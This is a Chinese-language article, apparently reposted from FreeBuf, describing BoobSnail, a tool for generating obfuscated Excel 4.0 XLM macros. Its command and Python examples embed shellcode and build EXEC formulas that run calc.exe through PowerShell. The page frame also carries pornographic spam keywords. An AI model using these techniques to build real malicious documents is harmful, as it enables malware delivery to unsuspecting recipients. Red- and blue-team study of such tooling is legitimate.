成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

如何使用BoobSnail生成任意Excel 4.0 XLM宏文件

安全 數(shù)據(jù)安全
BoobSnail可以幫助廣大研究人員生成XLM(Excel 4.0)宏文件,該工具可以在XLM宏生成任務(wù)中給紅隊和藍隊研究人員提供幫助。

[[433420]]

關(guān)于BoobSnail

BoobSnail可以幫助廣大研究人員生成XLM(Excel 4.0)宏文件,該工具可以在XLM宏生成任務(wù)中給紅隊和藍隊研究人員提供幫助。該工具支持的功能如下:

  • 各種感染技術(shù);
  • 各種代碼混淆技術(shù);
  • 將公式翻譯成英語以外的語言;
  • 可當作代碼庫使用,以便研究人員編寫自己的生成器;

工具下載

廣大研究人員可以使用下列命令將該項目源碼克隆至本地:

  1. git clone https://github.com/STMCyber/boobsnail.git 

工具依賴

BoobSnail基于Python 3開發(fā),因此我們需要在本地設(shè)備上安裝并配置好Python

3.8.7rc1環(huán)境。接下來,運行下列命令安裝該工具所需依賴組件:

  1. pip install -r requirements.txt 
  2.  
  3. python boobsnail.py 
  4.  
  5. ___.                ___.     _________             .__.__ 
  6.  
  7. \_ |__   ____   ____\_ |__  /   _____/ ____ _____  |__|  | 
  8.  
  9.  | __ \ /  _ \ /  _ \| __ \ \_____  \ /    \__  \ |  |  | 
  10.  
  11.  | \_\ (  <_> |  <_> ) \_\ \/        \   |  \/ __ \|  |  |__ 
  12.  
  13.  |___  /\____/ \____/|___  /_______  /___|  (____  /__|____/ 
  14.  
  15.      \/                  \/        \/     \/     \/ 
  16.  
  17.      Author: @_mzer0 @stm_cyber 
  18.  
  19.      (...) 

工具使用

  1. python boobsnail.py <generator> -h 

顯示可用的生成器類型:

  1. python boobsnail.py 

工具使用樣例

生成注入了x64或x86 Shellcode的經(jīng)過代碼混淆處理的宏:

  1. python boobsnail.py Excel4NtDonutGenerator --inputx86 <PATH_TO_SHELLCODE> --inputx64 <PATH_TO_SHELLCODE> --out boobsnail.csv 

生成能夠運行calc.exe的經(jīng)過代碼混淆處理的宏:

  1. python boobsnail.py Excel4ExecGenerator --cmd "powershell.exe -c calc.exe" --out boobsnail.csv 

代碼庫使用

BoobSnail使用了excel4lib庫來支持創(chuàng)建我們自己的Excel4宏生成器。excel4lib庫包含了幾個類,可以在創(chuàng)建生成器的過程中使用:

  • macro.Excel4Macro:允許定義Excel4公式和變量值;
  • macro.obfuscator.Excel4Obfuscator:允許對Excel4宏中的指令代碼進行混淆處理;
  • lang.Excel4Translator:允許將公式轉(zhuǎn)譯為其他語言;

下面給出的例子中將創(chuàng)建一個能夠運行calc.exe的簡單宏:

  1. from excel4lib.macro import * 
  2.  
  3. # Create macro object 
  4.  
  5. macro = Excel4Macro("test.csv") 
  6.  
  7. # Add variable called cmd with value "calc.exe" to the worksheet 
  8.  
  9. cmd = macro.variable("cmd", "calc.exe") 
  10.  
  11. # Add EXEC formula with argument cmd 
  12.  
  13. macro.formula("EXEC", cmd) 
  14.  
  15. # Dump to CSV 
  16.  
  17. print(macro.to_csv()) 

結(jié)果如下:

  1. cmd="calc.exe"
  2.  
  3. =EXEC(cmd); 

如果你想對宏進行混淆處理,則需要導(dǎo)入混淆工具并傳遞給Excel4Macro對象:

  1. from excel4lib.macro import * 
  2.  
  3. from excel4lib.macro.obfuscator import * 
  4.  
  5. # Create macro object 
  6.  
  7. macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator()) 
  8.  
  9. # Add variable called cmd with value "calc.exe" to the worksheet 
  10.  
  11. cmd = macro.variable("cmd", "calc.exe") 
  12.  
  13. # Add EXEC formula with argument cmd 
  14.  
  15. macro.formula("EXEC", cmd) 
  16.  
  17. # Dump to CSV 
  18.  
  19. print(macro.to_csv()) 

如需將你的宏轉(zhuǎn)譯為其他語言,假設(shè)為波蘭語(當前該工具僅支持英語和波蘭語),我們則需要導(dǎo)入Excel4Translator類,并調(diào)用set_language方法:

  1. from excel4lib.macro import * 
  2.  
  3. from excel4lib.lang.excel4_translator import * 
  4.  
  5. # Change language 
  6.  
  7. Excel4Translator.set_language("pl_PL") 
  8.  
  9. # Create macro object 
  10.  
  11. macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator()) 
  12.  
  13. # Add variable called cmd with value "calc.exe" to the worksheet 
  14.  
  15. cmd = macro.variable("cmd", "calc.exe") 
  16.  
  17. # Add EXEC formula with argument cmd 
  18.  
  19. macro.formula("EXEC", cmd) 
  20.  
  21. # Dump to CSV 
  22.  
  23. print(macro.to_csv()) 

結(jié)果如下:

  1. cmd="calc.exe"
  2.  
  3. =URUCHOM.PROGRAM(cmd); 

如果你需要創(chuàng)建一個能將其他公式作為接收參數(shù)的公式,則需要使用Excel4Macro.argument函數(shù):

  1. from excel4lib.macro import * 
  2.  
  3. macro = Excel4Macro("test.csv") 
  4. # Add variable called cmd with value "calc" to the worksheet 
  5.  
  6. cmd_1 = macro.variable("cmd", "calc") 
  7.  
  8. # Add cell containing .exe as value 
  9.  
  10. cmd_2 = macro.value(".exe") 
  11.  
  12. # Create CONCATENATE formula that CONCATENATEs cmd_1 and cmd_2 
  13.  
  14. exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2) 
  15.  
  16. macro.formula("EXEC", exec_arg) 
  17.  
  18. # Dump to CSV 
  19.  
  20. print(macro.to_csv()) 

結(jié)果如下:

  1. cmd="calc"
  2.  
  3. .exe; 
  4.  
  5. =EXEC(CONCATENATE(cmd,R2C1)); 

項目地址

BoobSnail:【GitHub傳送門

 

責(zé)任編輯:趙寧寧 來源: FreeBuf
相關(guān)推薦

2021-08-02 15:02:37

Go Excelize 開發(fā)

2016-12-07 09:30:00

Power QueryExcel文件

2020-11-05 11:16:06

Apache CassCassandra虛擬表

2009-06-11 09:39:33

netbeans 生成Webservice

2023-02-26 10:16:19

JavaPDF文檔

2009-07-24 10:00:38

.NET 4.0內(nèi)存映

2021-04-29 15:03:33

黑客惡意軟件網(wǎng)絡(luò)攻擊

2022-01-22 20:45:26

ExcelOffice微軟

2021-10-26 09:02:26

Excel技巧openpyxl

2021-11-07 14:00:16

JekyllBashAPI后端

2009-11-24 09:23:14

生成PHP類文件

2018-04-08 09:02:00

CGIHTML動態(tài)網(wǎng)站

2013-10-31 13:19:06

2009-08-24 08:44:29

Windows 7版本切換

2023-01-12 09:06:58

2023-06-07 07:16:04

Markdown網(wǎng)頁

2024-07-15 15:05:20

Python數(shù)據(jù)驅(qū)動

2023-07-27 15:18:21

工業(yè)4.0物聯(lián)網(wǎng)

2023-11-29 15:53:45

2022-03-08 12:28:17

區(qū)塊鏈工業(yè)4.0加密貨幣
點贊
收藏

51CTO技術(shù)棧公眾號

主站蜘蛛池模板: 日韩色在线| 久久国产欧美日韩精品 | 国产精品色综合 | 一区二区三区四区不卡 | 国产精品久久久久久久久免费高清 | 精品久久国产 | 日韩欧美网 | 国产一区三区在线 | 日日夜夜精品视频 | 亚洲欧美日本国产 | 一区二区成人 | 久久综合一区 | 欧美一级做性受免费大片免费 | 99reav | 久久久久久成人网 | 欧美日韩中文字幕在线 | 99久久国产综合精品麻豆 | 欧美一级欧美一级在线播放 | 国产91丝袜在线播放 | 欧美在线一区二区三区 | 色婷婷在线视频 | 国产成人精品一区二区三区 | 精品电影 | 日本久久久一区二区三区 | 伊人久久精品一区二区三区 | 精品乱子伦一区二区三区 | 久久久福利 | 国产在线观看一区二区三区 | 国产高清在线精品一区二区三区 | 天堂资源视频 | 福利视频网址 | 久久三区| 亚洲精品日韩在线 | 国产精品国产三级国产aⅴ中文 | 久久精品1 | 国产在线观看免费 | 欧美精品欧美精品系列 | 欧美黄在线观看 | 精品一二区 | 91 在线| 久久大陆 |